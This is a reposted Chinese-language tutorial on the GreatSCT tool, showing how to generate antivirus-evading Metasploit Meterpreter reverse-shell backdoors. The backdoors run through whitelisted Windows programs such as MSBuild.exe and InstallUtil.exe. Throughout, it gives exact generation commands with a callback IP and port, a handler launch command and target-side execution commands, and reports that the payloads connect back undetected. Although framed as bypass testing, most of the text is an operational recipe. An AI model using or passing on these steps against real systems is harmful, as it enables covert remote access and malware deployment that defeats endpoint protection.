转载:https://mp.weixin.qq.com/s/s9DFRIgpvpE-_MneO0B_FQ
免杀能力一览表
几点说明:
1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。
2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。
4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀或杀软查杀能力的判断指标。
5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。
一、GreatSCT介绍
GreatSCT可以基于Metasploit、自定义shellcode、powershell等生成payload,然后可利用多种白名单程序进行加载,从而达到免杀的目的。
支持的6种白名单方式:
1、Installutil.exe:安装程序工具是一款命令行工具,允许您通过运行安装程序组件来安装和卸载特定程序集中的服务器资源。
2、Msbuild.exe:Microsoft Build Engine是一个用于构建应用程序的平台。这个引擎,也称为MSBuild。
3、Mshta.exe:Mshta.exe运行Microsoft HTML应用程序,Windows OS实用程序负责运行HTA(HTML应用程序)文件。我们可以运行JavaScript或Visual的HTML文件。
4、Regasm.exe:程序集注册工具读取程序集内的元数据,并将必要的记录添加到注册表中,从而允许COM客户端透明地创建.NET框架类。
5、Regsvcs.exe:RegSvcs表示Microsoft .NET远程注册表服务,它以.NET服务安装著称。
6、Regsvr32.exe:Regsvr32是一个命令行实用程序,用于在Windows注册表中注册和取消注册OLE控件,例如DLL和ActiveX控件。
二、安装GreatSCT
GreatSCT依赖于python3环境,python2无法正常执行,而且操作系统建议kali或者parrot,其他系统还需要额外安装msf。
1、从github上Clone到本地
git clone https://github.com/GreatSCT/GreatSCT.git
2、执行安装程序
cd GreatSCT/setupsudo ./setup.sh -c
3、注意事项
看安装命令比较简单,但其实里面安装的依赖程序还是挺多的。
比如其中有行安装代码是这样的
apt-get -y -qq install mono-complete mono-mcs unzip wget git ruby p7zip wine wine32 wine64 winbind
看起来也没什么问题,但装着装着可能就各种异常了。
如果安装时出现异常,可以根据setup.sh内容自己逐项的去安装解决。
三、GreatSCT使用说明
使用命令python3 GreatSCT.py -h可以查看帮助说明
比较常用的几个参数:
GreatSCT Options:--update 更新GreatSCTk.--version 显示版本.--list-tools 列出GreatSCT所有的可用工具(模块),不过目前只有Bypass这一个模块-t Bypass 指定待使用的模块,因为只有bypass,所以就只能用-t Bypass了Callback Settings:--ip IP, --domain IP 指定回连的IP--port Port 指定回连的端口[*] Payload Settings:--list-payloads 列出所有的可用payload--generate-awl 利用所有模块批量免杀后门Great Scott Options:-c [OPTION1=value OPTION2=value [OPTION1=value OPTION2=value ...]]自定义payload选项-o OUTPUT NAME 指定生产后门文件的名字-p [PAYLOAD] 指定后门使用的payload--clean 清除输出文件夹--msfoptions [OPTION=value [OPTION=value ...]]指定msf选项--msfvenom [windows/meterpreter/reverse_tcp]利用Msfvenom生成shellcode
其中–list-payloads的使用方法是python3 GreatSCT.py -t Bypass --list-payloads,可使用的26个payload。
看名称也很容易判断出各payload的作用,主要是生成相应shellcode后,使用installutil、msbuild、regasm、regsvcs等白名单程序来执行。和专题19中的工具nps_payload原理差不多,只不过GreatSCT支持的白名单更多一些。
其中–generate-awl用法是python3 GreatSCT.py -t Bypass --generate-awl --ip 10.211.55.2 --port 3333,使用payload批量生成免杀后门。
四、利用GreatSCT生成后门
4.1 交互式生成单个后门
GreatSCT提供了傻瓜式的交互模式生成后门
执行python3 GreatSCT.py
输入list可查看所有支持的工具模块,只有一个
输入use 1或者use Bypass可使用该模块,并进入到payload选择中
输入list可查看所有模块
输入use 序号可选择使用对应payload,我这里就选msbuild/meterpreter/rev_https.py了,也就是use 8。进入参数设置。
一般只需要设置LHOST和LPORT就可以
输入generate后开始生成后门文件,还会提示输入文件名,不输入的话会默认为payload
启动metasploit,可直接执行msfconsole -r /usr/share/greatsct-output/handlers/payload.rc
把/usr/share/greatsct-output/source/payload.xml文件拷贝到测试机上。
使用命令C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe payload.xml来进行加载。
可正常上线
打开杀软,动态+静态都没有提示
4.2 参数式生成单个后门
GreatSCT可以使用参数自动生成shellcode,比较方便快捷。
以基于installutil的shellcode为例进行测试。
python3 GreatSCT.py --ip 10.211.55.2 --port 3333 -t Bypass -p installutil/meterpreter/rev_https.py
生成文件成功
生成的payload.exe不能直接执行,需要使用InstallUtil.exe来执行。
执行命令C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false payload.exe
可免杀,正常上线。
4.3 批量生成后门
还可以使用命令python3 GreatSCT.py -t Bypass --generate-awl --ip 10.211.55.2 --port 3333来批量生成后门文件,这样每个payload对应一个后门。
执行后会在文件夹中生成类似的下列文件,自己可以逐一测试。
五、GreatSCT小结
GreatSCT由于是基于白名单的文件加载,所以生成的.xml或.dll之类免杀效果比较好,而.exe文件免杀效果就比较一般了,所以可以根据具体情境去结合使用。GreatSCT提供了6中白名单方式,综合免杀效果还算可以。
六、参考资料
官方github:https://github.com/GreatSCT/GreatSCT
GreatSct -应用程序白名单bypass工具:https://www.cnblogs.com/backlion/p/10493919.html